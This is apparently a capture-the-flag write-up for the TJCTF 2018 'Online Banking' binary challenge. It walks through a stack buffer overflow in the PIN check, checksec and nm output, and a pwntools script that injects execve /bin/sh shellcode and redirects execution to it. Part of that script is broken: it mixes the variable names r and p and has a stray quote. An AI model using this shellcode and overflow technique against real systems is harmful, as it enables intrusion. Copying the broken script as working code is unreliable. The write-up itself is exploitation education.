TJCTF 2018 - Online Banking (Pwn)

Try out our new online banking service!

nc problem1.tjctf.org 8005

A binary and the source code

 

The vulnerability

With the source code it was easy to spot the developper mistake

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define PIN_SIZE 4
#define NAME_SIZE 32

int verify_pin(char* pin)
{
    char pin_check[PIN_SIZE+1];
    printf("Please verify your PIN first:\nPIN: ");
    fgets(pin_check, NAME_SIZE+1, stdin);
    
    for(int i = 0; i < 4; i ++) {
        if(pin[i] != pin_check[i])
            return 0;
    }
    return 1;
}

char name[NAME_SIZE+1];
char pin[PIN_SIZE+1];

int main() {

    gid_t gid = getegid();
    setresgid(gid, gid, gid);
    
    setbuf(stdout, NULL);
    printf("Welcome to our Online Banking system!\n");
    printf("To use our system, please register an account with a 4-character PIN:\n");
    
    printf("Name: ");
    fgets(name, NAME_SIZE+1, stdin);
    printf("PIN: ");
    fgets(pin, PIN_SIZE+1, stdin);
    
    while(getchar() != '\n');
    unsigned int balance = 0;
    
    printf("Thank you for registering! You may now use our service.\n");
    char cmd = '\x00';
    
    while(cmd != 'q')
    {
        printf("\nWhat would you like to do?\n d - deposit\n w - withdraw\n q - quit\n");
        cmd = getchar();
        getchar();
        
        if(cmd == 'd')
        {
            if(verify_pin(pin))
            {
                char deposit_s[16];
                printf("How much would you like to deposit?\n");
                fgets(deposit_s, 16, stdin);
                balance += atoi(deposit_s);
            }
            else
            {
                printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
                cmd = 'q';
            }
        }
        else if(cmd == 'w')
        {
            if(verify_pin(pin)) {
                char deposit_s[16];
                printf("How much would you like to withdraw?\n");
                fgets(deposit_s, 16, stdin);
                balance -= atoi(deposit_s);
          }
          else
          {
                printf("Invalid PIN!\nFor security reasons, your account is now being locked.\n");
                cmd = 'q';
          }
        }
        else if(cmd != 'q')
        {
            printf("Unknown command!\n");
        }
        
        if(cmd == 'd' || cmd == 'w') {
            printf("Your current balance is %u\n",balance);
        }
    }
    
    printf("Have a nice day! Please come again soon.\n");
    return 0;
}

 

As you can see there is a buffer overflow in the function verify_pin(char* pin). The fgets function reads NAME_SIZE+1 bytes which mean 33 bytes and stores it in the variable char pin_check[PIN_SIZE+1] which is 5 bytes long.

 

int verify_pin(char* pin)
{
    char pin_check[PIN_SIZE+1];
    printf("Please verify your PIN first:\nPIN: ");
    fgets(pin_check, NAME_SIZE+1, stdin);
    
    for(int i = 0; i < 4; i ++) {
        if(pin[i] != pin_check[i])
            return 0;
    }
    return 1;
}

 

According to checksec there is no protection for this 64bits binary

 

switch@debian:~/Documents$ checksec problem 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

 

At line 34 the fgets call stores 33 bytes into the .bss variable name. This section is not randomized by ASLR when there is no PIE so we can store our shellcode in it. In order to get it address we just need the nm command

 

switch@debian:~/Documents$ nm problem | grep name
00000000006010a0 B name

 

So we just have to store the payload in name then set the return address of verify_pin to the address of name, nothing more

 

from pwn import *

r = remote("problem1.tjctf.org", 8005)
p.read()
p.sendline("\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05") # name
p.read()
p.sendline("1312") # digit
p.read()
p.sendline("d") # we want do some operation
p.read()
p.sendline("1312" + "X" * 13 + "\x60\x10\xa0"[::-1]" + "\x00" * 5) # we send our pin
p.interactive()

 

tjctf{d4n6_17_y0u_r0pp3d_m3_:(}

 

what ROP ? Oups